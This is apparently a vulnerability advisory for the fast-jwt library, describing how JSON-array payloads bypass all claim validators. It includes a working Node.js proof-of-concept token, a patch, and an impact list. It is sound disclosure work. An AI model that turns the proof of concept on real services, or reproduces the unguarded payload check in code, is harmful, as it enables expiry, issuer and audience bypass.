fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array

Summary

fast-jwt's createVerifier silently skips all configured claim validators (exp, nbf, iss, aud, sub, jti, nonce) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented allowedIss / allowedAud / allowedSub / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object.

Details

The decoder validates the header is a non-array object but the payload check is missing the Array.isArray guard:

  // src/decoder.js:49 — header check (correct)
  if (!header || typeof header !== 'object' || Array.isArray(header)) {
    throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.')
  }

  // src/decoder.js:65 — payload check (vulnerable)
  if (!payload || typeof payload !== 'object') {     // typeof [] === 'object'
    throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
  }

  Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.

  In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only
  numeric indices and length):

  // src/verifier.js:304-323
  for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {
    const value = payload[claim]
    ...
    if (!(claim in payload)) {     // 'exp' in [] === false, 'iss' in [] === false, etc.
      continue                      // every validator silently skipped
    }
    ...
  }

  Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error
  returned to the caller. The verifier returns the array as the payload.

  requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is
  opt-in and not commonly configured.

  GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates
  inside the validator loop body and is never reached for this variant.

PoC

const { createVerifier } = require('fast-jwt')
  const crypto = require('crypto')

  const key = 'shared-secret'
  const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')
  const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')
  const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')
  const token = `${header}.${payload}.${sig}`

  const verify = createVerifier({
    key,
    allowedIss: ['legit-issuer'],
    allowedAud: ['legit-audience'],
    allowedSub: ['legit-subject']
    // exp enforcement is on by default
  })

  console.log(verify(token))
  // Output: [ 'attacker', 'role:admin' ]
  // No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.

  // Control: an object payload with the same garbage claims is correctly rejected:
  const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')
  const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')
  verify(`${header}.${bad}.${sig2}`)
  // Throws: "The token has expired at 1970-01-01T00:00:01.000Z."

  Verified against fast-jwt v6.2.4 (current master, commit a510448).

Suggested patch (src/decoder.js:65):

• if (!payload || typeof payload !== 'object') {

+ if (!payload || typeof payload !== 'object' || Array.isArray(payload)) { throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) }

This mirrors the existing header guard at line 49.

Impact

Type: Silent authorization-validator bypass. When a validly-signed JWT carries a JSON array as its payload, createVerifier skips every configured claim validator (exp, nbf, iss/allowedIss, aud/allowedAud, sub/allowedSub, jti, nonce) and returns success. Only the signature is actually checked; the verifier gives no error or warning that the configured defenses did not run.

Who is impacted: Any application using fast-jwt's createVerifier with claim-validation options and where an attacker can produce or influence a validly-signed token. The realistic deployments are:

• Shared-HMAC microservice meshes — any party holding the secret can mint a token accepted by every other verifier with audience, issuer, and expiry enforcement disabled.
• Multi-tenant token issuers and SSO backends — a tenant or upstream caller able to influence payload shape can obtain

forever-tokens accepted platform-wide.

• Delegated signing / weak issuer-side input validation — any issuer that serializes attacker-controlled JSON into the payload

without enforcing object shape.

Consequences: forever-tokens (expiry bypass), cross-service replay (audience bypass), issuer spoofing in federated/OIDC setups, revocation-list bypass via missing jti, OIDC nonce replay, and audit-trail corruption (payload.sub is undefined so authenticated requests appear unattributable in logs).